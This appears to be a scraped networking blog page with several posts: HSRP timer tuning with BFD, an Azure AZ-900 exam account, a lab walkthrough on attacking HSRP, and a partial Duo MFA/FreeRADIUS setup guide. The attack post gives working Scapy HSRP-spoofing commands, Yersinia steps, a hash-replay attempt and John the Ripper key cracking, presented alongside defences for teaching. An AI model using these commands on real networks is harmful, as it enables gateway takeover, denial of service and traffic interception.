Andrew Roderos

Tech Geek

Blog

Optimizing HSRP timers

by Leave a Comment

A few weeks ago, I wrote an article about attacking HSRP (Hot Standby Redundancy Protocol) and how to defend it from such attacks. Today, I’m going to discuss how to optimize HSRP timers. You may ask, why bother optimizing HSRP timers? One of the main reasons is to provide a better user experience in the case of failure.

HSRP timers

There are two timers that you can manipulate to optimize HSRP. The first one is the hello time. The hello time is the interval in seconds or milliseconds between successive HSRP hello messages.

The second one is the hold time. The hold time is the interval in seconds or milliseconds before the active or standby router is declared to be down.

The default values for these timers are the following:

  • Hello time: 3 seconds
  • Hold time: 10 seconds

Optimizing HSRP timers

IOS software releases support millisecond hello and hold time values. While you can manipulate these timers to achieve sub-second failover, Cisco does not seem to recommend it.

The lowest hello time that Cisco recommends is one second and four seconds for hold time. The recommendation has been in place since I have been in the networking field (mid-2000s).

Cisco documentation dissuades you from lowering these timers because of the increased CPU usage and could cause unnecessary state changes1. It is also confusing that the same documentation page says they recommend a minimum of 250 ms for hello time and 800 ms for hold time.

However, if you open a ticket with Cisco TAC, there is a good chance that they will stick to the general recommendation of no less than one second hello time and four seconds hold time. Your mileage may vary.

Since Cisco does not recommend sub-second hello and hold times, how can you achieve it? Enter BFD (Bidirectional Forwarding Detection). BFD is what Cisco recommends to achieve sub-second failover.

What is BFD?

BFD is a lightweight protocol that provides short detection of failures in the path between adjacent forwarding engines, including the interfaces, data link(s), and, to the extent possible, the forwarding engines themselves.

Essentially, BFD is less CPU-intensive (if performed in software) than HSRP messages. Hence, the reason why Cisco recommends BFD rather than manipulating the HSRP timers.

Note

As you may have deduced, you can use BFD with dynamic routing protocols as well.

Configuration

Configuring HSRP BFD peering is easy. In some cases, you only need to define the BFD parameters, and HSRP will start using it. At least, this is the case with certain IOS-XE releases running on ASR 1001-X and ASR 1001-HX. Your mileage may vary.

To configure BFD on an interface, use the following commands, as shown below. You must configure BFD on both routers. You can lower these values since these are conservative.

R1(config)#int g0/0
R1(config-if)#bfd interval 250 min_rx 250 multiplier 3

R2(config)#int g0/0
R2(config-if)#bfd interval 250 min_rx 250 multiplier 3
  • interval: This value specifies the rate, in milliseconds, at which BFD control packets are sent to the peers. The range is from 50 to 9999.
  • min_rx: This value specifies the range, in milliseconds, at which BFD control packets are expected to be received from the peer. The range is from 50 to 9999.
  • multiplier: This value specifies the number of consecutive BFD control packets that must be missed from the peer before it is declared as unavailable. The range is from 3 to 50.

The next step is to verify that HSRP BFD peering is enabled. Some IOS versions enable this feature by default. In my EVE-NG environment, my IOSv router running on version 15.7(3)M3 does not have this feature enabled by default.

To check if the HSRP BFD peering is enabled, issue the show run all | i standby bfd all-interfaces command. If the feature is disabled, you can enable it by using the previous syntax or issue standby bfd in each HSRP interface.

ASR1001-X#show run | i standby bfd
ASR1001-X#
ASR1001-X#show run all | i standby bfd
 standby bfd all-interfaces

IOSv1(config)#standby bfd all-interfaces

IOSv2(config)#int g0/0
IOSv2(config-if)#standby bfd

Troubleshooting

If you ever see a lot of HSRP state changes, make sure to check Layer 1 issues first. I have seen it where input and CRC errors will cause HSRP state changes.

Another possible issue, at least on ASR1K, is the default platform punt-policer value. I have seen BGP peerings, with BFD enabled, bounced because the default platform policer value was low for the environment. I had to issue the command platform punt-policer 45 6000 high to raise it.

Final thoughts

HSRP with BFD is a great feature to use to achieve sub-second failover. However, it is not always the answer. For example, on the ASR1K platform, you cannot set the BFD values lower than 750ms on port-channel interfaces.

To achieve sub-second failover, you would need to manipulate the hello and hold timers instead. If you encounter this scenario, be conservative on your HSRP timer values. Follow the 250/800 timer recommendation and monitor. Optimize if needed.

There is a study released by Concordia University College of Alberta regarding network instability in FHRP sub-second timer implementation. They concluded that even when CPU utilization topped at 100%, there were no network instabilities observed3. That said, you may be able to get away with lower hello and hold time values.

You might like to read

Attacking HSRP and how to defend from such attacks

__________________________________________________________________________________________________________________
1 First Hop Redundancy Protocols Configuration Guide
2 Bidirectional Forwarding Detection
3 Study of Network Instability in VRRP and HSRP sub second timer implementation

Do you find this content useful? If so, consider buying me a coffee! ☕


Passed Azure Fundamentals

by Leave a Comment

Passed Azure Fundamentals

Yesterday, I passed the Azure Fundamentals (AZ-900) exam. It’s my first Microsoft and cloud certification. I didn’t plan for Azure to be my first cloud certification, but things don’t always go according to plan.

The main reason Azure became my first cloud certification was because of a free exam voucher that I received. My colleague informed me that Microsoft was offering a free exam voucher for attending a two-day webinar. As a sucker for freebies, I signed up for it!

Why am I learning the cloud?

There are two main reasons why I’m learning the cloud. The primary reason is that, at work, we’re getting more VPN connectivity requests between the three major cloud providers and on-premises.

The secondary reason is that I believe it will help me with potential projects in my professional services business. There are projects out there that require me to know the cloud.

For example, I recently missed out on an opportunity to work on a project that involves Google Cloud Platform (GCP). Additionally, I helped a client troubleshoot a VPN issue between his network and Azure not too long ago.

Exam Details

I can’t seem to find an official exam details page. The ones I’ve seen on the Internet doesn’t match with what I experienced. Here are some of the exam details for your reference:

  • 99 USD for each exam attempt
  • 31 questions (your mileage may vary)
  • 60 minutes to finish the exam
  • 700 is the passing score
  • Take the exam at an authorized testing center or in your own home
  • Can skip and go back to the questions
  • Mark questions for review

Exam Objectives

Microsoft expects that the candidates should have a foundational knowledge of cloud and Azure services. They designed the exam for candidates that are new to the cloud or new to Azure.

The exam doesn’t require prior IT knowledge or experience. That said, both technical and non-technical folks can take and pass this exam.

Click here to view the complete exam objectives.

Preparation

Aside from the two-day webinar, I used the free resources provided by Microsoft. I started with the Azure Fundamentals learning path. Then, I realized that in the Azure Fundamentals certification page, there are other learning paths as well.

The one on the certification page has four different learning paths. Microsoft estimates that a candidate will spend about 8.6 hours to complete.

For the Azure Fundamentals learning path, they estimate that a candidate will spend about 9.5 hours to complete the modules.

I completed both of them, so my total preparation for the Azure exam is about 18 hours. A lot shorter than A Cloud Guru’s AZ-900 Microsoft Azure Fundamental course, which they estimated about 58 hours to complete. However, you can’t really compare the two.

The former is more focused on introducing cloud concepts and Azure services, while the latter is more focused on teaching you the concepts and how to use Azure.

Exam Experience

This exam is my second time using the OnVUE online proctoring format. This time, I had a terrible experience. As I was waiting for the proctor, my screen turned black, and the only thing I could see was my mouse pointer moving. I gave it a few minutes before I reached my phone to call Pearson VUE.

I was on hold for 15 minutes before a real person picked up the phone. I let the agent know what happened to my exam. He opened a case for me and said that it would take three to five business days to have a resolution.

Luckily, I convinced the agent to talk to a supervisor to reschedule the exam on the same day. It took an additional hour for the agent to provide me an update about the reschedule. Fortunately, the supervisor approved the request for a reschedule on the same day!

The OnVUE application ran smoothly for the second time around. It was a relief to see that the exam started properly. It was a stressful day for me because Microsoft was supposed to change the exam objective starting today. However, I found out after the exam that they aborted that plan and moved it to November.

The exam wasn’t difficult, but they did ask some questions where I had to guess. I think it’s a relatively easy exam, but this is coming from someone with some Azure, AWS, and GCP experience. Additionally, I’ve taken Linux Academy’s AWS Solutions Architect – Associate (SAA-C01) course earlier this year. While a different cloud provider, there are similarities with them.

Final thoughts

I think it’s useful to know the cloud as more organizations are utilizing it, whether it’s pure public cloud or hybrid. Even as a network engineer, you’d want to get to know the cloud, in my opinion. You don’t need to take certification exams, but at least learn the concepts.

It’s quite generous for Microsoft to offer free exam vouchers and study materials. While I could speculate why they do such things, it’s better left unsaid.

If you are a technical person, it’s best to skip this certification. The majority of the concepts here will be in the higher tier certifications. As mentioned earlier, I’m a sucker for freebies, so why not take the exam to validate I know a thing or two about the cloud and Azure.

Will I take another Azure certification? I might check out the Azure Security Engineer Associate certification in the future. For now, I need to concentrate on getting CPE or CE credits for my other certifications.

Do you find this content useful? If so, consider buying me a coffee! ☕


You might like to read

Passed JNCIA-Junos
Passed JNCDA

Attacking HSRP

by Leave a Comment

Back in the day, the Cisco Press books only covered the Hot Standby Router Protocol (HSRP) topic in the professional-level track. When I did a quick search on CCNA books, I found out that they covered it in CCNA R&S ICND2 200-105 OCG* and the new CCNA 200-301 OCG, Vol 2* books. Both books, however, didn’t cover the security vulnerability of such minimal configuration. Thus, attacking HSRP is possible.

This post contains affiliate links. If you use these links to buy something I may earn a commission. Full disclosure here.

The books only discussed the theory behind it, the reason for using it, and implementation steps. While it’s all right to cover only the essentials, it is no longer sufficient to run HSRP without security because of how easy it is to attack it. In this article, I’m going to demonstrate how to perform an attack HSRP and protect it from such attacks.

Related: VMware ESXi Home Lab – Intel NUC 10 (Frost Canyon)

In this demo, I used EVE-NG and Kali Linux on my VMware ESXi home lab environment. If you’re looking for a small form factor server, you may want to consider Intel NUC. This NUC is my second one, and I am a fan of it!

Table Of Contents


What is HSRP?

HSRP is a Cisco proprietary protocol released around 1998, at least the RFC. It is one of the First Hop Redundancy Protocol (FHRP) supported in Cisco routers and Layer 3 capable switches. Cisco designed the protocol to provide a mechanism for the routers or switches to establish a fault-tolerant default gateway.

In essence, the devices work in concert to provide an illusion of a single default gateway to the hosts within the LAN. In turn, it allows for some fault scenarios and still not lose connectivity to the default gateway.

How does it work?

Note

This section does not cover everything there is to know about the operations of HSRP. For more information, read the RFC 2281.

It is crucial to understand the fundamental operations of HSRP. Understanding how it works is the key to recognizing the protocol’s vulnerability.

A set of HSRP-capable devices that work together are known as an HSRP group or standby group. A single router in a standby group is elected to be responsible for forwarding traffic destined to the default gateway. This router is known as an active router.

Another router will act as the backup router known as a standby router. If the active router fails, the standby router will become the active router.

These HSRP-enabled devices exchange information between each other using hello packets. Both the active and standby routers send the hello messages to the destination multicast address 224.0.0.2 on UDP 1985.

Within a hello packet, there is a field called priority. HSRP uses this field to elect the active and standby routers. A router with the highest priority wins the election. By default, all routers use 100 as their priority. If there is a tie in priority values, the router with the highest IP address configured wins the election.

Configuration and packet capture

Now that you’re familiar with HSRP’s operations, it’s time to look at the basic configuration and the contents of a hello packet. In this demo, I have two routers, one switch, and two computers.

attacking HSRP

Without further ado, I used the following configuration for both routers.

R1
R2
interface GigabitEthernet0/0
 ip address 10.0.0.2 255.255.255.0
 standby 1 ip 10.0.0.1
 standby 1 priority 120
 standby 1 preempt
interface GigabitEthernet0/0
 ip address 10.0.0.3 255.255.255.0
 standby 1 ip 10.0.0.1

Once the routers see each other’s HSRP messages, R1 will take over as the active router. In the packet capture, it shows both hello packets of R1 and R2 after the election process.

R1
R2
R1 HSRP hello message
R2 HSRP hello message

You will notice that both routers automatically set authentication data to cisco. By default, Cisco IOS includes this key to authenticate routers that participate in HSRP.

Vulnerability

If you stop and think about the basic operations of HSRP, you will be able to recognize its weakness. In essence, any HSRP-capable device can advertise a high priority value and take over as the active router.

The device can be a legitimate router or a malicious actor wanting to issue a denial of service (DoS) or man-in-the-middle (MITM) attack. As a network professional, it falls under our responsibility to ensure network reliability and protect network devices from attacks.

Exploitation

Now that you are aware of HSRP’s basic operations and vulnerability, you can apply that knowledge to exploit its weakness. There are two open-source software tools that you can use to perform a DoS attack: Scapy and Yersinia. With the help of these tools, attacking HSRP makes it easy for anyone to do.

Scapy

In this section, I’m going to demonstrate how easy it is to attack HSRP with the use of Scapy. In this demo, I’m using Kali Linux with a lot of packages installed. You may need to install the software if you get an error.

I used these parameters below to perform the attack.

networkjutsu@kali$ sudo scapy
>>> ip = IP(src='11.11.11.11',dst='224.0.0.2')
>>> udp = UDP(sport=1985,dport=1985)
>>> hsrp = HSRP(group=1,priority=255,virtualIP='10.0.0.1')
>>> send(ip/udp/hsrp,inter=3,loop=1)
.....^C
Sent 5 packets.

Alternatively, you can write the syntax like the one below.

networkjutsu@kali$ sudo scapy
>>> send(IP(src='11.11.11.11',dst='224.0.0.2')/UDP(sport=1985,dport=1985)/HSRP(group=1,priority=255,virtualIP='10.0.0.1'),inter=3,loop=1)
.....^C
Sent 5 packets.

I think the parameters are self-explanatory except for two: inter and loop. The inter parameter means interval in seconds. Since I set it to 3, Scapy will send the packets every 3 seconds. The loop parameter instructs Scapy to keep sending the same message until I stop it.

Once the routers see packets that I crafted using Scapy, their HSRP states will change, as shown below.

R1
R2
Alice
R1#
*Aug 15 20:58:44.595: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
*Aug 15 20:58:55.826: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Speak -> Standby
R1#show standby brief
                     P indicates configured to preempt.
                     |
Interface   Grp  Pri P State   Active          Standby         Virtual IP
Gi0/0       1    120 P Standby 11.11.11.11     local           10.0.0.1
R2#
*Aug 15 20:58:43.488: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Standby -> Listen
R2#show standby brief
                     P indicates configured to preempt.
                     |
Interface   Grp  Pri P State   Active          Standby         Virtual IP
Gi0/0       1    100   Listen  11.11.11.11     10.0.0.2        10.0.0.1
Alice> ping 8.8.8.8 -t

84 bytes from 8.8.8.8 icmp_seq=1 ttl=116 time=7.719 ms
84 bytes from 8.8.8.8 icmp_seq=2 ttl=116 time=6.688 ms
84 bytes from 8.8.8.8 icmp_seq=3 ttl=116 time=7.091 ms
84 bytes from 8.8.8.8 icmp_seq=4 ttl=116 time=7.666 ms
84 bytes from 8.8.8.8 icmp_seq=5 ttl=116 time=7.853 ms
84 bytes from 8.8.8.8 icmp_seq=6 ttl=116 time=7.859 ms
8.8.8.8 icmp_seq=7 timeout
8.8.8.8 icmp_seq=8 timeout
8.8.8.8 icmp_seq=9 timeout
8.8.8.8 icmp_seq=10 timeout
8.8.8.8 icmp_seq=11 timeout

The screenshot below is the packet capture during the attack.

If you look at frame #6, that’s when Scapy first sent the crafted HSRP message.

Shortly after seeing the crafted HSRP message, R1 sends a resign message (frame #8). This message means that R1 no longer wishes to be the active router.

Next, the R2 sends a message (frame #9) with a listen state. Yes, Wireshark displays it as passive, but if you read RFC 2281, there is no passive state.

Yersinia

For folks that prefer GUI-based, you can use the Yersinia tool to launch the attack. As with the previous section, I’m using Kali Linux in this demo. You may need to install the software if you get an error.

To launch the Yersinia GUI, type the command sudo yersinia -G in the terminal application. When you start Yersinia, you may see a warning message stating that the GUI is an alpha version. Click the OK button to exit out of the warning message.

To start an HSRP attack, select the Launch attack button, and a new window will appear.

In the Choose protocol attack window, select the HSRP tab. Then, select the becoming ACTIVE router radio button, and select the OK button. A new window will appear.

I tried the other options, but they didn’t work for me. Your mileage may vary.

In the HSRP attack parameters window, enter the source IP that you want. To remain consistent throughout the demo, I will use the same IP address. Once you entered the IP address, select the OK button.

Do you find this content useful? If so, consider buying me a coffee! ☕


As you can see, the HSRP message that the Yersinia tool sent out is different than what we crafted using Scapy. The software sent out a coup message instead of a hello message. You can technically do the same thing with Scapy by adding opcode=1 in the HSRP parameter. Either way, both software successfully launched the attack and took over the active router role.

Another difference is the source MAC address that the Yersinia tool uses for the attack. With Scapy, it uses the MAC address of the NIC or vNIC. I tried crafting it using a different source MAC address, but the attack wasn’t successful.

Protection

Defending from HSRP attacks is quite an easy process. It’s surprising how many HSRP-enabled interfaces I’ve seen that do not have security configuration. The network engineers may view it as low threat compared to how information security professionals may view it. It is no secret that these two camps have different opinions with regards to security. But, I digress.

Access Control List (ACL)

One might think that an ACL is enough to protect from an HSRP attack. However, as you have seen, it’s easy enough to spoof the source IP address. To demonstrate that this isn’t successful in thwarting such an attack, I configured an ACL on both routers.

ip access-list extended HSRP
 permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985
 deny   udp any eq 1985 any eq 1985
 permit ip any any
interface GigabitEthernet0/0
 ip access-group HSRP in

As you can see, I limited the routers to accept HSRP messages only from the 10.0.0.0/30 range. If it receives any HSRP packets from outside this range, then the traffic is dropped. The output below shows that 12 packets matching the deny filter. That’s when I attempted to send crafted HSRP messages using a source IP address of 11.11.11.11.

R1#show ip access-list HSRP
Extended IP access list HSRP
    10 permit udp 10.0.0.0 0.0.0.3 eq 1985 host 224.0.0.2 eq 1985 (603 matches)
    20 deny udp any eq 1985 any eq 1985 (12 matches)
    30 permit ip any any (730 matches)

While the ACL is successful in thwarting the HSRP attack, it’s not, however, enough to protect from such an attack. Let’s use Scapy to spoof the IP of the R2 as the source.

Attacker
Alice
R1
R2
networkjutsu@kali$ sudo scapy
>>> ip = IP(src='10.0.0.3',dst='224.0.0.2')
>>> udp = UDP(sport=1985,dport=1985)
>>> hsrp = HSRP(group=1,priority=255,virtualIP='10.0.0.1')
>>> send(ip/udp/hsrp,inter=3,count=20)
....................
Sent 20 packets.
Alice> ping 8.8.8.8 -t

84 bytes from 8.8.8.8 icmp_seq=1 ttl=116 time=7.719 ms
84 bytes from 8.8.8.8 icmp_seq=2 ttl=116 time=6.688 ms
84 bytes from 8.8.8.8 icmp_seq=3 ttl=116 time=7.091 ms
84 bytes from 8.8.8.8 icmp_seq=4 ttl=116 time=7.666 ms
84 bytes from 8.8.8.8 icmp_seq=5 ttl=116 time=7.853 ms
84 bytes from 8.8.8.8 icmp_seq=6 ttl=116 time=7.859 ms
8.8.8.8 icmp_seq=7 timeout
8.8.8.8 icmp_seq=8 timeout
8.8.8.8 icmp_seq=9 timeout
8.8.8.8 icmp_seq=10 timeout
8.8.8.8 icmp_seq=11 timeout
*Aug 16 20:50:41.061: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Standby -> Active
*Aug 16 20:51:15.457: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
*Aug 16 20:51:15.479: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Speak -> Active
*Aug 16 20:51:18.458: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
*Aug 16 20:51:28.828: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Speak -> Standby
R1#sh standby
GigabitEthernet0/0 - Group 1
  State is Standby
    78 state changes, last state change 00:00:51
  Virtual IP address is 10.0.0.1
  Active virtual MAC address is 000c.29dd.94c3
    Local virtual MAC address is 0000.0c07.ac01 (v1 default)
  Hello time 3 sec, hold time 10 sec
    Next hello sent in 2.048 secs
  Preemption enabled
  Active router is 10.0.0.3, priority 255 (expires in 3.456 sec)
  Standby router is local
  Priority 120 (configured 120)
  Group name is "hsrp-Gi0/0-1" (default)
*Aug 16 20:51:15.891: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Standby -> Active
*Aug 16 20:51:15.911: %HSRP-5-STATECHANGE: GigabitEthernet0/0 Grp 1 state Active -> Speak
R2#sho standby
GigabitEthernet0/0 - Group 1
  State is Listen
    14 state changes, last state change 00:00:13
  Virtual IP address is 10.0.0.1
  Active virtual MAC address is unknown
    Local virtual MAC address is 0000.0c07.ac01 (v1 default)
  Hello time 3 sec, hold time 10 sec
  Preemption disabled
  Active router is unknown
  Standby router is 10.0.0.2, priority 120 (expires in 9.520 sec)
  Priority 100 (default 100)
  Group name is "hsrp-Gi0/0-1" (default)

As you can see from the R1 and R2 output, I was able to launch a successful DoS attack on the HSRP group.

Authentication

Using the authentication data field is the right solution to remediate this security vulnerability. As demonstrated, we must not use the cleartext option since it’s quite easy to sniff this information.

Cisco IOS supports two ways of adding MD5 authentication to HSRP: key chain and key string. The advantage of using the key-chain method is that you can rotate the keys without breaking the HSRP communication between two devices.

While the key-chain method allows you to change the cryptographic authentication algorithm, it doesn’t seem to have any effect. When I captured the packets and grabbed the hash value, the hash-identifier tool still recognized it as MD5 or MD4.

Without further ado, here are the two methods on how to add MD5 authentication to HSRP.

Key Chain
Key String
key chain HSRP
 key 1
  key-string ranger1960
!
interface GigabitEthernet0/0
 standby 1 authentication md5 key-chain HSRP
interface GigabitEthernet0/0
 standby 1 authentication md5 key-string ranger1960

Authentication attack

I was curious if I can attack HSRP’s authentication without cracking the hash. So, I decided to capture the packets on the wire and copy the hash value. I then decided to use Scapy to craft an HSRP packet using the hash value from the packet capture.

R1 Hash
Scapy Hash
Scapy
R1
R2
R1 HSRP MD5 Authentication
Scapy HSRP MD5 Authentication
networkjutsu@kali$ sudo scapy
>>> ip = IP(src='11.11.11.11',dst='224.0.0.2')
>>> udp = UDP(sport=1985,dport=1985)
>>> hsrp = HSRP(group=1,priority=255,virtualIP='10.0.0.1',auth=b'x00\x00\x00\x00\x00\x00\x00\x00')
>>> md5 = HSRPmd5(type=4,len=28,algo=1,padding=0,flags=0,sourceip='10.0.0.3',keyid=0,authdigest=b'\xa6\xb9\x55\x4a\xd2\x31\x62\xd8\x9b\x2d\x6b\x9e\xf3\x5f\x25\x76')
>>> send(ip/udp/hsrp/md5,inter=3,count=10)
*Aug 19 01:40:50.183: %HSRP-4-BADAUTH: Bad authentication from 11.11.11.11, group 1, remote state Active
R1#
*Aug 19 01:40:54.319: %HSRP-4-BADAUTH: Bad authentication from 11.11.11.11, group 1, remote state Active
R2#

As you can see, both the R1 and R2 reported that the crafted packet doesn’t match the HSRP key set on both routers. It seems that it is not vulnerable to pass the hash kind of attack.

While I couldn’t take the pass the hash attack kind of approach, MD5 is not immune to attacks. As you may be aware, MD5 is susceptible to collision attacks. Furthermore, there are other types of attacks, as described in this paper. A highly motivated attacker could theoretically perform these attacks.

Brute force attack

As with any hash, MD5 is susceptible to brute force attacks. That said, it is vital to use a strong enough key for authentication to avoid dictionary-based attacks.

I purposefully set the weak key string so that I can demonstrate how easy it is to crack it. Kali Linux has a wordlist that either hashcat or John the Ripper can use.

The rockyou.txt wordlist included in my installation is quite popular, but it’s not a very big list (134 MB). Other wordlists out there are quite massive. For example, crackstation.net uses a wordlist that amounts to a 15 GB uncompressed text file.

Cracking software

In this demo, I’m going to use one of the popular cracking software tools called John the Ripper (JtR). Depending on the packages that you selected during the Kali Linux installation process, you may not need to install it.

Packet capture

Before you can leverage John the Ripper (JtR), you will need to capture HSRP traffic and save it as a PCAP file. By default, Wireshark saves the file as PCAP Next Generation Dump File format, so make sure to select the right one when saving.

Install packages

Furthermore, you will need to install some software packages before using the software. These packages are required to extract the necessary fields for JtR to crack the hash.

networkjutsu@kali$ sudo apt install python-pip -y
networkjutsu@kali$ sudo pip install wheel
networkjutsu@kali$ sudo pip install scapy
networkjutsu@kali$ sudo pip install --user dpkt

Hash value extraction

Once completed, run the pcap2john.py script against the PCAP file. For each HSRP packets, you will get one hash value. Copy and save the hash value to a text file.

networkjutsu@kali$ sudo /usr/share/john/pcap2john.py md5.pcap
$hsrp$000010030a78010000000000000000000a000001041c010000000a0000020000000000000000000000000000000000000000$a6b9554ad23162d89b2d6b9ef35f2576
$hsrp$000008030a64010000000000000000000a000001041c010000000a0000030000000000000000000000000000000000000000$132833140773d3f3108bfdaa4091a439

Cracking the hash

Now that we have the hash value, it’s time to get cracking (pun intended). In this demo, I stored the hash value in a file called md5.txt.

networkjutsu@kali$ sudo john --format=hsrp Desktop/md5.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (hsrp, "MD5 authentication" HSRP, HSRPv2, VRRP, GLBP [MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
ranger1690      (?)
ranger1690      (?)
2g 0:00:00:00 DONE (2020-08-16 20:10) 200.0g/s 1254Kp/s 2508Kc/s 2508KC/s havana..supreme
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As you can see, JtR was able to crack the hash value using a wordlist. It is the reason why you should use a key that isn’t in any of a wordlist. The simplest way is to use a built-in tool in Linux or macOS to generate a key. I use the openssl rand -base64 23 to produce a 32-character key.

Final thoughts

As demonstrated, it is easy to protect HSRP from malicious actors. Yet, there are networks out there running HSRP that do not have this security feature turned on.

I think some network engineers do not believe it poses a real threat to bother securing it. It may be because of the other security controls in place that the threat of such an attack is low.

I, however, believe that it doesn’t cause any real operational burden not to include it. Not only it increases your security posture, but it will also make your security department happy that you are reducing vulnerabilities.

BUY ME COFFEE ☕

Did you find this content useful? Show your appreciation by buying me a coffee!


Disclosure

AndrewRoderos.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.

How to implement Duo Security MFA

by Leave a Comment

If you follow me on Instagram, then you know that I successfully implemented Duo MFA in my home lab. I’ve set up two environments, one with FreeRADIUS, and the other using Windows AD, as the primary authentication source. In today’s article, I’m going to demonstrate how to implement Duo Security MFA with FreeRADIUS as the primary authentication source.

Table Of Contents


Introduction

As you may already know, multi-factor authentication (MFA) isn’t new. Back in the day, the most popular MFA solution is RSA SecurID. Nowadays, one of the popular MFA solutions is Duo. It’s also popular with tech-savvy folks who are looking at deploying two-factor authentication (2FA) in their home lab since they offer free-tier pricing.

I’ve had a 2FA solution in my home lab since 2016. I’ve written a few articles about it. The first article was about adding 2FA when I connect remotely (SSH) to my Ubuntu Linux VMs. The second article was adding 2FA to FreeRADIUS, which gives RADIUS clients a 2FA solution. The third article was adding 2FA to TACACS+ using tac_plus daemon.

What’s needed

In this tutorial, you will need the following:

  • Duo account (sign up for free)
  • Two machines (virtual or physical)

The VM specs will depend on the environment. In my VMware ESXi home lab environment, the Duo VM has the following specs:

  • 1 x vCPU
  • 512MB RAM or more (Recommended is 4GB)
  • 8GB drive space
  • Ubuntu Server 18.04
Related: VMware ESXi Home Lab – Intel NUC 10 (Frost Canyon)

My FreeRADIUS is running on a Docker container. Since I have multiple Docker containers in there, the VM has the following specs:

  • 1 x vCPU
  • 1GB RAM
  • 8GB drive space
  • Ubuntu Server 18.04

FreeRADIUS Docker container

Ever since my first FreeRADIUS 2FA article, I’ve migrated it to a Docker container. That said, it was easy for me to write a new Dockerfile without the Google Authenticator piece.

# Use Base Ubuntu image
FROM ubuntu:18.04

# Author of this Dockerfile
MAINTAINER Andrew Roderos <andrewroderos.com>

# Update & upgrades
RUN apt-get update && apt-get dist-upgrade -y

# Install FreeRADIUS
RUN apt-get install freeradius -y

# Clear local repo
RUN apt-get clean

# Add user to container with home directory
RUN useradd -m -d /home/networkjutsu -s /bin/bash networkjutsu

# Add password to networkjutsu account
RUN echo 'networkjutsu:makemypasswordgreatagain' | chpasswd

# Edit /etc/pam.d/radiusd file
RUN echo "auth required pam_unix.so use_first_pass" >> /etc/pam.d/radiusd

# Edit /etc/freeradius/3.0/mods-config/files/authorize file
# This is the real file for /etc/freeradius/3.0/users
RUN sed -i '1s/^/# Instruct FreeRADIUS to use PAM to authenticate users\n/' /etc/freeradius/3.0/mods-config/files/authorize
RUN sed -i '2s/^/DEFAULT Auth-Type := PAM\n/' /etc/freeradius/3.0/mods-config/files/authorize

# Copy existing /etc/freeradius/sites-available/default file to container
# This is the real file for /etc/freeradius/3.0/sites-enabled/default
COPY default /etc/freeradius/3.0/sites-available/default

# Change owner of the file to freerad
RUN chown freerad:freerad /etc/freeradius/3.0/sites-available/default

# Copy existing /etc/freeradius/clients.conf file to container
COPY clients.conf /etc/freeradius/3.0/clients.conf

# Create a symbolic link
RUN ln -s /etc/freeradius/3.0/mods-available/pam /etc/freeradius/3.0/mods-enabled/pam

# Expose the port
EXPOSE 1812/udp 1813/udp 18120/udp

# Run FreeRADIUS as a foreground process
CMD ["freeradius","-f"]

Note

This Dockerfile references local files that I already have. My first FreeRADIUS article might be able to help you. If not, you could always read the documentation.

Duo user creation

Duo user creation

Once you’ve created your account, it’s time to create a Duo user. This user must match the user accounts in your primary authentication source. In my case, it is the FreeRADIUS server.

If you have a paid account and use OpenLDAP, Windows AD, or Azure AD, there’s a Directory Synchronization feature that automatically imports the accounts to Duo.

Alternatively, you can import users by creating a CSV file. Since I only have one account, I don’t need to import users.

Add phone

Once you click on the Add Phone button, you will see a screen where you can add the user’s full name, email address, phone number, etc. For my purpose, I only added a phone.

Add phone

In the next screen, this is where you will add the user’s phone number.

Add phone number

2FA device

Once you add the user’s phone number, it will automatically add a 2FA device. This next screen will allow you to change the device information.

2FA device

Activate Duo Mobile

The next step is to activate the Duo Mobile app. On the screen where you were just at, click on the Activate Duo Mobile link. It will take you to another screen where you will click the Generate Duo Mobile Activation Code button.

The next screen will allow you to send instructions by SMS to the user.

Note

In my limited testing, this will count towards your telephony credits. The free account comes with over 490+ credits, so this isn’t a big deal. You can buy additional credits should you need it.

Protect an application

Since there’s no Duo Authentication Proxy as an application in the list, we need to use the Partner Auth API as the application.

Duo protect an application

Once you click the Protect button, the next screen will show the information you need when you start configuring the Duo authentication proxy host. Make sure to jot down the integration key, secret key, and API hostname.

Duo Partner Auth API

Feel free to change the name of the application. The application name is the one that will show up in Duo mobile app when there’s a push.

Do you find this content useful? If so, consider buying me a coffee! ☕


Installing Duo Authentication Proxy

This step assumes that you have an Ubuntu Linux VM already installed and updated. To install Duo authentication proxy, issue the commands below.

$ sudo apt-get install build-essential libffi-dev perl zlib1g-dev make -y
$ wget https://dl.duosecurity.com/duoauthproxy-latest-src.tgz
$ tar -zxf duoauthproxy-latest-src.tgz

At this time of writing, the latest version is 4.0.1.8318f80. The directory may be different when you download the installer. That said, feel free to change the directory name in the command shown below.

Note

The make command may take a while to finish.

$ cd duoauthproxy-4.0.1-8318f80-src
$ sudo make
$ cd duoauthproxy-build
$ sudo ./install

When the installation process asks you where you wish to install the Duo authentication proxy, you can either hit Enter or change it to another directory. I prefer it in /etc/duoauthproxy, so that’s where everything will sit for my installation. Everything else just hit Enter to accept the default except for the last question. Type Yes and hit Enter. 

In what directory do you wish to install the Duo Authentication Proxy?
[/opt/duoauthproxy] /etc/duoauthproxy

Enter the name of a user account under which the Authentication Proxy should be run. We recommend a non-privileged and locked down account.
Or you can press <Enter> and our default locked down user will be created for you:
[duo_authproxy_svc]

Enter the name of a group under which the Authentication Proxy logs will be readable. Or press <Enter> and a default group will be created for you:
[duo_authproxy_grp]

Create an initialization script to run the proxy upon startup? [Yes/no] Yes

Optional

Delete the Duo files that you downloaded and extracted.

$ cd ~
$ sudo rm -rf duoauthproxy-4.0.1-8318f80-src
$ rm duoauthproxy-latest-src.tgz

